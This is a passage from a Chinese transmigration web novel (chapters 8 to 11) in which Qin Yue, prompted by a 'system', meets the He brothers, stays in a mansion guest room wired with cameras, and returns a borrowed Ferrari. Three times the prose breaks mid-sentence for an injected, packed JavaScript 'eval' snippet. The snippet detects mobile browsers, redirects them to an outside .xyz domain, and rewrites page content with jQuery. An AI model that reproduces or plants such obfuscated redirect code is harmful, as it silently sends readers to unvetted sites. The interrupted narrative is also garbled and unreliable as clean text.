系统:[她为什么没说少爷好久都没有带人回来了,你是他第一个带回来的人。] 秦越:…… 自己就多余问它。 “坐。”贺煜臣下巴朝沙发的方向微微一点,言简意赅地发话,“说吧。” 秦越听到这种习惯性地下达命令式语气,忽然觉得原文里宋时景也挺倒霉。 正牌攻贺亦寒狂躁症加上疑心病晚期,霸道还不讲道理。 别的狗血里善解人意且多金的攻二在这篇文里,也是跟温柔八竿子打不着。 贺煜臣控制欲极强,性情古板又偏执。 对于宋时景来说,简直就是双重折磨,相当于选择题答案没一个是对的。 秦越像是没有听见贺煜臣的话,在原地站了一会。 这是他第二次跟贺煜臣见面。 贺煜臣的额发有点长了,不知道是不是没有时间打理。 看着整个人没有一丝烟火气,气质寡淡至极,但偏偏生了一双多情的桃花眼,瞳孔黑得像化不开的墨。 俗称,看狗都深情。 阿姨在外面规规矩矩地敲门,之后表情纠结地走了进来。 “先生,那个外面……”阿姨犹豫了一下,像是不知道怎么开口,“小贺总在外面,要开门吗?” 秦越意识到家政阿姨说的是小贺总,而不是说你弟弟。 看来他俩关系已经恶劣到人尽皆知了。 “请他进来。”贺煜臣瞥向秦越,“你就在这等我。” 秦越听着下楼声越来越远,然后就是怒吼起手的争执声。 “贺煜臣!你把小景藏哪了!”贺亦寒声音很激动。“为什么上次我派出去的人跟我说他进医院了?!” 系统被这个大嗓门吓得滋啦一声,[正牌攻这是算账来了?] [1027您不去看看情况吗?]系统听着热闹,不怕事大地怂恿。 楼底的控诉还在继续,“你就是这么照顾他的?你根本就不爱他,你只是把他当做一个战利品而已!贺煜臣你看不惯我,有本事就直接朝着我来啊,报复小景算什么男人!” 这些话听得秦越牙疼,他默默拒绝,“不了吧,太尬了。” 8. 第 8 章 世界上很多事情总是不会得偿所愿的。 譬如眼下。 远在玄关的争吵声变成了噔噔噔的上楼声。 “你是不是把小景藏你家了?”贺亦寒当回自己家一样,不客气地绕开贺煜臣直奔楼上。 笃信自己猜测的贺亦寒边喊着宋时景的名字,边一步几个台阶地往上走。 秦越正坐在沙发上,盯着阿姨刚刚端来的一杯水发呆,他抬起头跟闯上来的贺亦寒打了个照面。 两个人面面相觑。 贺亦寒:“你谁啊?” 系统:[噫,为什么贺亦寒是个黄毛。] 它嫌弃极了。 贺亦寒正是特立独行的年纪,发型做得挺潮流,身上一堆挂饰叮叮当当的。 他喜欢赛车赌马等等能让自己肾上腺素飙升的东西,也喜欢尝试不同风格的穿搭,跟规规矩矩的哥哥相比,简直是天差地别。 贺亦寒按道理来说是见过秦越的,不过在替自己男朋友出气,一举封杀这个小网红的时候,他压根不屑于看秦越的资料。导致贺亦寒只是听过秦越的名字,根本不知道对方长什么样。 看见秦越不理自己,贺亦寒本来就压着的邪火直接升起来了,他还没被人如此忽视过。 况且眼前这个男人穿着寒酸的衣服,看着就不是贺煜臣的朋友。 都不知道这个人是怎么进来的。 贺亦寒跟打量一件商品一般,仔细端详着秦越挑不出来毛病的骨相。 这人长得倒是不错…… 不会是贺煜臣脚踏两只船吧? 贺亦寒表情微妙。 原来自己看着清心寡欲的大哥,背地里也玩的很开。 想到这贺亦寒莫名地开始兴奋,抓住秦越的领子,就想把这个“罪证”揪起来。 贺亦寒一使劲……没揪动,却反被对方的力量扯了一个趔趄。 他手腕上一紧,接着是令他胆寒的压迫感从腕骨处传了过来。 贺亦寒对上秦越似笑非笑的眼神,头皮发麻。 那是一种被猛兽盯上的恐惧感。 秦越本来就长得很有距离感,特别是他沉着脸的时候,就更能唬人了。 贺亦寒脑袋一空,等到他反应过来的时候,身体早已经不由自主地抄起桌子上的水杯,直接朝秦越脑袋上砸过去。 秦越微微侧头,杯子没砸到他,但是水杯里的水还是尽数扑到他的衣服上,瞬间把浅灰色的卫衣洇成深灰色。 事实证明,有些人无语的时候果然会发笑。 秦越嘴角缓慢浮起一个冷静的笑容。 贺亦寒看穿了冷静背后的暴戾,心脏立马跳得跟自己弯道超车时一样快。 “松手!”贺亦寒吃痛惨叫起来。 咔嚓—— 清脆的撞击声随着贺亦寒的痛呼声一起响起。 一个精致的白釉花瓶砸碎在贺亦寒脚下,溅起的碎瓷片划伤了贺亦寒的脚踝。 秦越也因为这个突变,手上的劲松了些,贺亦寒趁机摆脱了秦越的钳制,他捂着快被快要被捏碎的腕骨,心有余悸地盯着秦越。 “闹够了没有?”贺煜臣站在客厅与门廊的交界处,冷冷地看向贺亦寒。 他身侧是剩下的孤零零的另一个花瓶。 它们本来应当是成双成对的。 贺亦寒抿唇,脸色狠厉,他不愿意服软,更不想撂了面子,“你叫什么名字?” 秦越不理他,就只是眨着眼无辜地看着贺煜臣。 贺亦寒要被气晕了,刚刚秦越一副想把自己打废的样子,贺煜臣一来就立刻低垂着眉眼,搞得好像他吃了多大亏了一样。 明明刚才差点被捏断手的是自己!贺亦寒摸着开始红肿的手腕,断断续续地抽着气。 贺煜臣不动声色地用余光扫过秦越胸前的水渍,他皱眉道:“我喊了安保,你是想被请出去,还是自己出去。” 贺亦寒伸手点了点秦越,又对贺煜臣说道:“你知不知道这么做,会让小景伤心。” 秦越一直没吭声,听到这句话突然笑了。 “你笑什么!”贺亦寒气急败坏。 秦越扬了扬眉,“我意思是他应该不太伤心的,毕竟他的心已经在你那里千锤百炼过了。” “你——”被气到大喘气的贺亦寒头脑发懵,只会朝着秦越疯狂指指点点。 最终他也没自己出去,被贺煜臣叫来的安保“恭恭敬敬”地架出去了。 贺煜臣目送骂骂咧咧的贺煜臣出了门后,才吩咐阿姨说:“麻烦打扫一下客厅。” 秦越扯了扯被黏在胸口的衣服,小心翼翼地避开一地的碎片渣。 “让你见笑了。”贺煜臣还是一副没有什么神情的模样,好像刚刚摔了一个花瓶的人不是他,“楼上有浴室,我让阿姨带你去换身衣服。” 秦越也懒得跟他客套,毕竟湿漉漉难受的是自己。 浴室墙壁是大面积的浅灰色天然石材,纹理细腻,但跟它的主人一样冰冰冷冷的。 系统哇了一声:[好大好大的……浴缸。] 秦越观察了系统几天,知道它其实就是人工智能,它惊叹也只是后台觉得应该震惊。 就像它之前也只会根据存储的小说逻辑来进行反应。 一个足够拟人的小玩意而已。 它感叹完了之后,又变回了初始电子音问道:[1027您觉得攻一的这个举动说明了什么?] 秦越脱下衣服,没有用浴缸。他拧开花洒后,回答系统的话,“说明贺亦寒已经气疯了,表现了贺亦寒性格的缺陷,衬托出宋时景在他心中的作用,为之后的拍卖会修罗场埋下了伏笔。” 系统顿了一下:[您上学期间语文成绩一定很好。] 秦越听到这句话,蓦得停下,“我上学期间……我那个时候是什么样的?” 他来到这个世界之后,就听见系统说传输有问题,所以导致他没有接受这个世界的剧情。 可是不仅如此,他完全不记得自己的以前。 系统解释:[完成小世界的任务之后您就会知道了。这主要是为了防止出现精神认知错误,所以进入不同世界前会把你的记忆清除一次。但是请您不要紧张,所有记忆都是被好好保存的,不会让您失忆的。] 秦越快速冲完澡,随手抓起佣人为他准备的衣服,就要干正事。 今天距离慈善晚宴已经没几天了,他现在连进去的大门都摸不到。 秦越还没找到贺煜臣,就被笑眯眯的阿姨拦住了。 阿姨把他引向了餐厅:“先生突然有点工作上的事情,他让我们替你准备了晚饭。” “我一个人?”秦越坐在桌旁,不确定地问道。 阿姨很有耐心地说:“先生不喜欢和旁人一起用餐。”说完她微微一鞠躬,训练有素地离开了。 ……行。 他有钱,他做什么都合理。 秦越吃完又被客客气气地请去客厅坐着,被晾了快一个小时之后,他坐不住了。 系统:[您早该坐不住了,原主就不是这种会在客厅自己跟自己下象棋一个小时的人……] 秦越:“也许原主喜欢欲擒故纵呢?你看警报也没响是不是。” 系统发誓自己再也不会被秦越骗了,[那您倒是擒啊。] ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15064479|163051||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 秦越敷衍:“在擒了在擒了。” 这别墅修得跟迷宫似的,一个门廊连着另一个门廊,他拐来拐去绕到最后都看不见任何一个佣人了。 在秦越思忖自己是不是来过这个地方的时候,身旁的门打开了。 贺煜臣站在门口一言不发,但眼神好像在质问秦越为什么走到了这里。 透过走廊的灯,秦越看见贺煜臣那一双桃花眼盛着灯光,漂亮得有点超过了。 “这里是我的书房。”也许是气氛太尴尬了,贺煜臣还是先说话了。 秦越头都大了,怪不得贺煜臣刚刚奇怪地盯着他。 他现在特像那种准备去主角书房偷商业机密的炮灰…… 秦越眼神飘忽了一下。 事已至此,又要开始现编理由。 但贺煜臣今晚似乎是不打算让秦越继续开口了,他睫毛往下一敛,藏住了眼底的神色,“我听说你之前在一家酒吧做过调酒师,可以试试你的手艺吗?” 秦越沉默了。 这不是说笑了吗。 他虽然有着原主关于调酒的记忆,但是这玩意就跟做饭一样,哪怕你照着菜谱做,第一次也很大机会失败。 但是尊贵的金主都愿意给他一个台阶下了,他现在该感恩戴德地顺坡下驴才是。 贺煜臣怕秦越又走错地方,特意找了个佣人带他去吧台。 秦越发愁地看着吧台,旁边的酒柜里满满当当地摆着各种酒水。 他如临大敌地拿着雪克壶,旁边最近的就有一瓶金酒和干味美思,熟练的调酒师可以几分钟内做出一份干马天尼。 作为饭前酒确实不错,但是现在已经不早了。 秦越自暴自弃地把雪克壶放回柜子里,然后像是下定了某种决心,扭头走向厨房。 系统友好提示:[您走错位置了。] 秦越:“当你把这个角色身份发给我的时候,就已经把路走窄了。” 给他一个贺长天的身份,他马上勒令贺亦寒跟宋时景结婚,三天之内就能完成任务。 贺煜臣坐在书房的笔记本前,貌似全神贯注地处理公事,但注意力早就不在这密密麻麻的财政报表上了。 等到他觉得秦越是不是自己在吧台喝醉了的时候,对方姗姗来迟。 贺煜臣盯着桌子上散发着奶香味的白色液体,他迟疑了很久,才把视线转回秦越脸上。 秦越冷峻的脸在背光处,莫名变得柔软:“太晚了,喝酒不好。喝点热牛奶可以助眠。” 贺煜臣听到秦越的话,才跟上了发条的木偶一样有了动作。 他僵硬地端起杯子,下一秒就像发条转到了终点,又不动了。 秦越看了一眼时间,“今天时间不早了,我先回去了。如果你明天有时间我们再谈谈可以么?” 贺煜臣的指尖被散发着热气的杯壁,压成了浅粉色。他低声说道:“你打算怎么下山?这里打不到车。” 秦越一愣,不明白贺煜臣为说这些是什么意思。 想借他一辆车? 那直接让司机送他回去就好了。 还是因为没给贺煜臣调酒,所以他不满意,想让自己走路下山,算是一个下马威。 秦越绞尽脑汁地猜测,颇有一种攻略游戏中,限时选择正确回话的刺激感。 “今天你就在这里住一晚吧。”贺煜臣合上笔记本,也没有管秦越的反应,自顾自地走出了书房。 系统:[?] 它有点不解,但还是努力夸夸,[宋时景目前还没达成的成就,居然被您轻易做到了。不愧是您!1027号员工,白月光助攻局里优秀的首席任务者。 9. 第 9 章 不知道为什么,秦越看着贺煜臣头也不回的身影,总觉得有股落荒而逃的味道。 佣人又是一套挑不出毛病的服务流程,把秦越送到了客房。 秦越还没打量完这间装修依旧看着就很贵的客房,系统就没有征兆地说话了:[警告,通报一则消息,房间有监控摄像头,请员工注意安全。] 明明系统讲话是没有什么语调的,但是秦越愣是听出了一点森冷的寒意。 秦越:“监控摄像头在哪个位置?” 系统声音在空无一人的房间里回荡:[房间里有多处摄像头,您说的是哪一个?] 哪一个??? 秦越心里一沉。 “如果说贺亦寒的性格缺陷是是个隐藏狂躁症患者。”秦越冷着脸僵在原地,不敢做出多余的动作,怕让监控那头的人发觉到什么,“那贺煜臣就是个没事喜欢偷窥别人的精神病?” 系统检测完房间情况,汇报道:[监控目前处于未开启状态,您不必如此紧张。] 秦越回忆着那张看似冷情冷性的脸,实在想不出来贺煜臣是干得出这种事的人。 [监控开启时,我会发出警报,请安心休息吧。]系统贴心地安慰着秦越。 秦越的脸色没有因为系统的话而好转,他面无表情的样子反倒让系统不知所措。 [1027您是生气了吗?]系统斟酌着开口,它是真怕秦越一个不爽直接走人了。 秦越确实是白月光助攻局的优秀员工,但是主脑跟所有系统都打过预防针了,所以系统知道秦越服从度很低,几乎可以忽略不计。 “没有。”秦越知道监控没有开之后,也没有换佣人准备的睡衣,直接躺平在床上,“我只是想问件事情。” 系统一听事情还有转回的余地,忙不迭地开口:[您说。] “宋时景知道贺煜臣是个什么样的人么?”秦越问道。 系统:[现在还不知道,因为他……还没来过这。]它组织了一下语音,[呃,宋时景知道这件事,还是翻了贺煜臣的电脑才发现的。所以他就崩溃了,发现贺家两兄弟,一个明面疯,一个是暗地疯。]总之,都不太正常。 也就是说,自己莫名其妙地就享受了宋时景的待遇。秦越感觉自己还没努力当绊脚石呢,怎么就初见成效了? 不过现在这都不是重点,这本狗血文超出了他的想象,秦越意识到跟为爱发疯强行降智的角色沟通是一回事,但跟精神状态不正常的人交流,就是另一回事了。 秦越眸色暗了暗:“我知道了。” 系统愣住了,[我以为你会不喜欢这个剧情,会申请脱离世界。] 秦越彻底睡不着了,他问系统要了一只烟,盘腿坐在飘窗上。 其实贺煜臣在秦越这里印象分还不错,特别是有了之前贺亦寒的对比。他一直觉得贺煜臣至少不会像贺亦寒那样,控制不住自己的脾气,是个成熟的、能好好交流的成年男人。 原文里,贺煜臣确实跟贺亦寒这种只会无脑冲动行事的人不同,他更会蛰伏,更擅长掩藏自己的心思。若不是后期因为对宋时景心软,才被贺亦寒摆了一道,这本小说男主也轮不到贺亦寒来当。 秦越倦倦地夹着一支点燃的香烟,猩红色的火光在黑暗中一点点跳跃着,直到一片还带着余温的烟灰落在了秦越的手上。 他越如梦初醒地熄了烟,答道:“确实不喜欢。” 秦越说完这句话就漠然地看着系统。 他眉骨很高,典型的眉压眼长相,不说话的时候给人难以忽略的压迫感,让人猜不出他是喜是怒。 系统一阵警铃大作之后,就惊悚地看见秦越缓缓地笑了。 系统哆哆嗦嗦:[?] 系统:[!] 秦越玩味地扬起唇角,“但没关系,我喜欢刺激。” 已至深夜,别墅区大部分灯已经关了,只余一些黯淡的夜灯。 贺煜臣并没有躺在床上,他依旧坐在桌子前,看着笔记本电脑上的某个图标好一会,终究还是没有点开。 他清楚,这是自己买的监控摄像头附带的软件,点开之后就能看见数个摄像头在不同角度下的影像。 贺煜臣突然合上电脑,像是在躲避什么恐怖的东西。 他病态地咬着指节,空洞的目光没有焦点地落在远处。 明明自己已经拒绝过对方两次了,这不能怪他。 第一次见面,秦越想让自己包养他的时候,他就拒绝了。 第二次见面他也不想让秦越来自己的住处。 因为贺煜臣知道他没法控制自己。 “嘶。”刺痛一下子传来,贺煜臣松开了牙关,指关节上还是留下清晰深陷的齿痕。 他让秦越住进那件客房,只是因为秦越让他想起了自己曾经养过的猫。 那只狸花猫在没有遇到他之前是只流浪猫。 贺煜臣上学路上总是能看见这只瘦弱的猫,缩在校门口的废纸盒里,狸花猫看见路过的人只会假装凶猛地哈气,对待贺煜臣也不例外。 曾经有人见它可怜想把它带回家,但是这只猫戒备心很强,所有朝它伸出手都会被它挠。 久而久之,再也没有人愿意靠近它。 有一天放学下起了大雨,贺煜臣没有带伞,只能在学校门口等司机接他回家。 他等了很久,才接到贺长天的电话。 贺煜臣至今都记得贺长天对他说,今天是贺亦寒的生日,他们一家要带贺亦寒出去玩,家里面接他的商务车比较大,所以被他们开出去旅游了。贺长天让他自己打车回去,或者等另一个司机再去接他。 贺煜臣明白了,他们一家是指贺长天,继母和贺亦寒。 不包括他。 贺煜臣抹了一把脸上溅落的雨水,扫视了一眼自己被雨淋湿的裤脚,视线撞上了不远处一双紧盯着他的黄色竖瞳。 狸花猫待着的纸盒已经快被水浸湿垮掉,猫爪搭在湿哒哒的盒子边缘,一动不动地看着贺煜臣。 贺煜臣在那双黄色的猫眼里看见自己的影子。 他笨拙地朝流浪猫伸出手,悄声说道:“我们都没有家了。” 流浪猫没有拒绝他的邀请。 他们成了新的“家人”。 贺煜臣把狸花猫接到母亲留给他的山顶别墅里,收拾出一个单独的房间,专门给它住。 贺长天他们出门玩的几天,贺煜臣没有感到孤独,反而是放松。 他终于不用在这群人面前,扮演出一家人其乐融融的模样了。 可是贺长天回来之后,他就没有办法一直住在山顶别墅,也没法把猫接回对猫毛过敏的继母 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15064480|163051||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的家。 所以,贺煜臣在那间房间里装满了摄像头,方便自己随时随地的看着那只小猫。 他知道自己有点不正常,或者说太紧张了。 可是贺煜臣怕自己一个不留神,那只瘦弱的猫就咽了气。 他不能接受唯一的“家人”再一次死掉。 后来狸花猫被养得很健康,可是贺煜臣还是依旧随时看着,而且他变本加厉地不许别人去碰他的猫,固执地把猫关在客房里。 那是他的东西,属于他自己的有温度的活物。 贺煜臣垂下眼,摸着温度已经不再的牛奶杯,也不想计较为什么秦越说迷路但能走到自己书房门口。 他总是对自己人很仁慈,贺煜臣心想。他喝下冰冷的牛奶,唇角抬起了一个小小的弧度。 贺煜臣其实看见了秦越想要折断贺亦寒手的举动,也看见了从小跋扈惯了的贺亦寒,被压制地连一点点反抗都做不到。 只是贺煜臣下意识地忽略了。 因为那副张扬的、什么都不在乎的脸,朝向他的时候,却瞬间收敛了獠牙,对自己充满了信任,仿佛彼此是唯一的依靠。 那一刻,他喜欢极了。 秦越就像那只会对所有人亮爪子的流浪猫一样,只会对自己示弱。 但是。 贺煜臣想到了什么,喉结滚动了一下,眉眼中带上一些失望。 但是, 秦越不是宠物。 真可惜。 - 出乎系统的意料,它以为秦越要一晚上无眠了,实际上秦越抽完那支烟后,仿佛就已经把自己调理好了,拉开被子就睡着了。 早上天还没亮,秦越定的闹钟响了,他按掉闹钟,准备继续把正事办了。 然后就看见佣人依旧顶着一张完美微笑的脸对秦越说道:“抱歉,先生已经离开别墅了,我们为您准备了早餐。先生说您去留随意,也不必等他了,他今天会很忙。” 就算是傻子也看出来了,贺煜臣在躲他。 正主不在,他留在这也没有什么用。 秦越早餐没吃,走到玄关的时候,昨天替他们开门的阿姨走了过来,递给他一个车钥匙,“先生说您下山不方便,这个给您。” 她看见秦越没有接的意思,又补充道:“您要是不会开车的话,我打电话叫司机送您回家。” 朴实的车钥匙上,是一匹瞩目的扬蹄骏马。 系统激动了一小下:[是法拉利。1027我没有说错吧,签了合同之后,果然可能会随机掉落公馆豪车等打赏。] 说得好。 秦越不是很想接,他在租房子的小区里,又没有停车位。 阿姨伸手伸得胳膊都要麻了,她笑容快挂不住了,“秦先生,您是不会开车么?” 系统急得要变声了:[人设!人设!别OOC了,要是原主在这,钥匙在阿姨手上不会超过五秒钟。原主可以在一阵婉拒拖拉之后,钥匙就会神奇地出现他手上。] 秦越硬着头皮接过钥匙,道了声谢。 系统滔滔不绝:[这辆车可是贺煜臣正式跟宋时景在一起后,他送给宋时景的第一件礼物。这辆法拉利LaFerrari全球限量499辆……] 秦越头疼:“别499辆了,快看我租的房子附近哪里能停车。” 10. 第 10 章 法拉利LaFerrari的发动机可输出800CV的功率,0-100km/h加速时间小于3 秒,但不影响它现在正在道路上龟爬。 系统目测了一下这40码的速度,又看了看没有加速意思的秦越。 秦越不为所动:“我是遵守交通规则的好市民。” 手机还在导航,它的信息栏上一排通知,显示不停地有未读消息跳出来。 等到一个红灯的时候,秦越终于开始打开聊天软件。 原主的短信除了那晚的幕后主使,其他的秦越一条没看,自然一条也没回。 99+的消息看得秦越眼睛痛。 一个分类为[富二代鱼,捞好处]的列表里面消息是最多的,一排小红点。 小鱼1号:“宝贝什么时候再见一面呀,我买了个小礼物想送给你。”然后发了一张照片,是一条经典的羊毛格子款式的巴宝莉围巾。 小鱼2号:“亲爱的,你上次说想要的CHOPARD太阳镜,我前段时间出去旅游的时候,正好在免税店看到了,给你买了哦。什么时候方便给你呀。” 小鱼n号:…… 秦越:“……” 他现在懂了为什么原主还有心情住那种宾馆,这些奢侈品他转手再卖掉,完全可以保持现在的生活水平。 这些消息都有一阵时间了,但是发消息的人似乎都在没有怨言的等他。 手机这时又震动两下。 这条消息来自另一个写着[大鱼,有用处]的分类。 大鱼(星雾娱乐):“你最近人跑哪里浪去了,让你来暮色陪个酒,装没看到?” 对面的人似乎没遇到过秦越不秒回的情况,立刻又发了一条语音,“翅膀硬了是吧?小贺总那事是我给你摆平的!你不会天真地以为低个头就没事了吧,我可是明里暗里给你做了不少人情。” 秦越被对方难听的叫嚣声烦到了,他皱眉道:“这谁?” 系统查了一下,[星雾娱乐的一个部门经理,之前给原主画大饼来着,说让他参演个大制作的电视剧。贺亦寒封杀原主之后,现在此人主要采取安抚政策,有事没事在原主身上吃点豆腐,但就是不办事。] 系统眼睁睁地看着秦越在联系人那里点击的动作,一个声音转了八个弯:[您别删——完蛋,要崩人设了。] 它静静等了半分钟,直到秦越启动车辆,开过了路口,又在下一个红灯停下,但秦越的意识丝毫没有被强制下线的迹象。 系统:[怎么回事?] 这明明是原主绝对不会做的事情啊。 秦越正在专心开着车,随口解释:“我只是屏蔽了他。你顺便帮我把其他人都屏蔽了,叽叽喳喳的,晕字了。” 任劳任怨的系统松了一口气,乖乖把鱼塘里的鱼通通屏蔽,一视同仁地不接受消息。 秦越看着画饼哥依旧孜孜不倦地发语音,他不用转文字,都知道对方没什么好话,他锐评道:“这人还不如贺煜臣呢,虽然贺煜臣精神状态不太正常,但起码人挺礼貌的。” 至少贺煜臣不会把人当一个召之即来,挥之即去的物品。 系统听完后,默默给秦越记上一笔:1027号员工吃软不吃硬。 - 阳光透过大厦的玻璃帷幕墙,落在贺煜臣身上。 他脸上还是一尘不变的那种寡情疏离。 贺煜臣盯着一个联系人,迟疑了片刻,还是拨打了视频电话过去。 一个四十来岁的女人出现在屏幕上,她笑容很温暖,让人忍不住对她卸下心防。 女人是贺煜臣的心理医生。 心理医生眼睛弯成了月牙的弧度,笑着先说话了,“贺先生,许久没有联系了,最近还好么?” 贺煜臣不自在地捏了捏指节,薄唇绷成一条直线,他想了很久开口道:“方医生,我最近遇到一个人。我觉得他很熟悉,但我确定之前没有见过这个人。而且我忍不住想要接近他,这正常吗?” 方医生哈哈尬笑两声,心想有钱人说喜欢一个人的表达都那么含蓄吗。你身上荷尔蒙都在疯狂地告诉你正确答案了。 “如果他让你感觉很舒服的话,不如试着跟他多交流一些呢?”医生客观地建议道。 贺煜臣的声线冷淡:“我不知道能不能做到。”他垂下眼睫,“至少现在,我还是不适合建立亲密关系。” 医生眼里闪过一些惋惜,她很仔细地观察着贺煜臣的状态:“我们之前聊过的不是吗,你的病状已经好很多了,你得尝试走出去,不要把自己关起来。你最近还失眠吗?” 贺煜臣摇了摇头。 “听说贺氏集团收购了光能世纪,金融小报上你跟贺董在这方面有分歧的新闻很多,你是不是压力挺大的呀?” 医生陆陆续续问了很多问题,听着贺煜臣的回答。她并没有从贺煜臣身上看出太多的焦虑,或者注意力分散的情况。 对方很认真地在思考,并对自己的问题进行了有条理地答复。 医生双手交握,声音温和:“我觉得你现在状态很好,暂时不需要进行药物治疗。如果你感觉不舒服的话,可以再找我聊聊,好么?” 贺煜臣目光飘忽了一下,过了半晌补充了句:“但是,我总觉得那个人跟之前的他不一样了,就……好像被替换了,原来的他只剩下一个空壳。” 医生表情凝滞了一秒,她吸了一口气,立刻坐直了身体。不过她职业水准很高,没让贺煜臣看出什么异样。 有一些患者会认为生活中的某个人已经被替代,现在的人是其他人伪装的,这是得了卡普格拉综合征的征兆,也就是替身妄想。 医生有点如临大敌:“你是觉得他外貌、声音跟之前完全一致,但是人不是那个人了是么?” 贺煜臣嘴唇翕动,侧过头在想着什么,似乎不知道怎么形容:“我认为他外貌也跟之前不一样了,性格习惯也不太像。” 医生:“……”这病情怎么跟她推测的不一样。 她还想说些什么,就听见贺煜臣说:“可能是我想多了,抱歉,耽误你时间了。” 贺煜臣 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15064481|163051||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看着原本低着头看不见神色,他在说这句话的时候抬头看向方医生。 方医生无法形容这个表情,眼尾像是在拼尽全力地上扬,而眼里却在下着雨,她心里一个激灵,“不用道歉,千万不要讨厌自己,这不是……”你的错。 门口应该是传来了敲门声,方医生意识到贺煜臣的注意力被什么动静吸引了,接着他朝方医生露出一个歉意的笑容,就不顾对方的阻止,关闭了视频通话。 “贺总,秦越找您。”助理小步伐地走了进来,举动颇为鬼鬼祟祟。 贺煜臣知道秦越一直想找自己做什么,但是他以为自己不想见他的意思,已经表现的很明确了。 他又想起吴泽给他告状用的资料,说秦越挺会左右逢源、察言观色的,这么对比一看,他的感觉完全没错,秦越就是跟以前不太一样。 贺煜臣挺想立刻打开电脑,跟方医生说自己没病。 他的手指搭在键盘上,自嘲地笑了一下,这种小孩子似的较真,看起来真跟犯病了差不多吧。 助理不敢揣测领导意思,但属实等了太久,他假装清嗓子咳了两声,然后眼巴巴地望向贺煜臣。 贺煜臣:“我知道了。” 助理:“……?” 不是。 您知道了,然后呢? 这和他跟别的领导定开会日期,他问是周三还是周四开会,对方回复一个“好”有什么区别?! 助理欲拿又止地掏出手机:“那我……打电话跟前台说一声。” 他就跟前台说贺总知道了,然后让前台来猜。 直接一手风险转移。 打工人也不想为难打工人,但打工人他不想失业。 助理划开手机,准备通知前台。 突然,贺煜臣出声制止了。 “你亲自下去把人带上来。”贺煜臣想了一下秦越的方向感,还是决定吩咐助理下去捞人。 太好了,就是需要你这种明确的指令。 助理一改犹豫姿态,雷厉风行地下楼了。 适逢今天有人来谈合作,又是上班打卡时间,一楼人来人往的,但助理一下就注意到那个惹眼的身高。 秦越等得不算久,他没有贺煜臣的联系方式,所以直接找到了助理,表达自己要见贺煜臣的意愿。 助理瞬间发了一条一分钟的语音。 一分钟的语音是聊天软件的极限,不是助理的极限。 秦越再三保证不会干出勇闯写字楼的事情后,助理才放心丢下一句他去找贺总通报一下。 秦越:“他为什么觉得我能干翻大厦保安,一路闯到贺煜臣的总裁办公室?” 系统:[您别说,您还真别说。这本小说就是那么写的。白月光怒气冲冲地直接不顾阻拦,冲上楼去就给了攻一个响亮的耳光。] 秦越沉默地看着塞成沙丁鱼罐头的电梯,以及在电梯前排队的一溜人,“所以,他是爬楼梯一路冲上去的吗?” 好体力。 不愧是可以一晚上在床上各种play的人。 11. 第 11 章 秦越低头看见助理脖子上挂的名牌,他快速撩了一眼名字,“马助理是吧?辛苦你了。” 马助理大名马柳,小名牛马,他挤出一个笑:“不辛苦。” 命苦。 做为一个霸总文里出现率高达99%的职业——总裁助理,他的爱好就是每个月挣点窝囊费。 “秦先生这次来是有什么事吗?”马助理秉持着知己知彼百战不殆的思想,准备先听听秦越的口风。 秦越指了指大门口,“我来还车。” 听着不像是来搞事的,马助理微微放下心,他顺着秦越手指的方向朝外望去。 大厦门口的地坪上,一辆红色超跑,耀武扬威地停在一众黑白灰的车中,显得极其瞩目。 马助理放下的心又提了起来,登时脸色一白,他认得这辆车,而且对它有着不太好的回忆。 虽然马助理只是个普通的助理,但是他也是坐过这辆车的、为数不多的人之一。 当然如果能重来,打死他也不上这辆车。 去年夏天,他开着自己的卡罗拉来到贺煜臣的别墅送文件,接下来的行程计划是他和贺煜臣一起去机场,飞到外地签合同。 贺煜臣是个认真的人,出发之前又审查了一遍文件,结果发现上面有一些漏洞,等到他们现场改完后,已经快来不及赶去机场了。 马助理决定直接联系合作方,说要推迟一天。但是贺煜臣看了一眼时间,当机立断就说能赶上。 于是,还没摸过跑车的马助理,就被赶鸭子上架去开车。 当时已经天黑了,马助理在盘山路上开得心惊胆战。 开了一段路之后,贺煜臣看着表盘上的指针,无可奈何道:“我来吧。” 既然老板都发话了,马助理就只能乖乖地从驾驶座下来了。不过他总觉得哪里不对劲,直到余光瞥到座位上靠着的手杖,马助理冷汗唰得就下来了。 贺煜臣像是看出他在紧张什么,他没什么情绪地说:“我瘸得是左腿。放心,不会带着你送死的。” 这话并没有什么用,马助理冷汗冒得更多了。 然后……然后马助理就体会到了法拉利LaFerrari从0-200km/h加速小于7 秒 。 引擎声低如闷雷,跑车像一道红色的利爪在山路上穿梭,令人相信如果它足够快,就可以撕碎夜幕。 马助理感觉自己在前面跑,死神在后面追。 他恍惚中认为贺总大抵是疯了。 马助理拼命压抑着自己想喊救命的心,嗓子发紧地看向贺煜臣。 而他的大老板,一直无声无息的,表情麻木空洞。 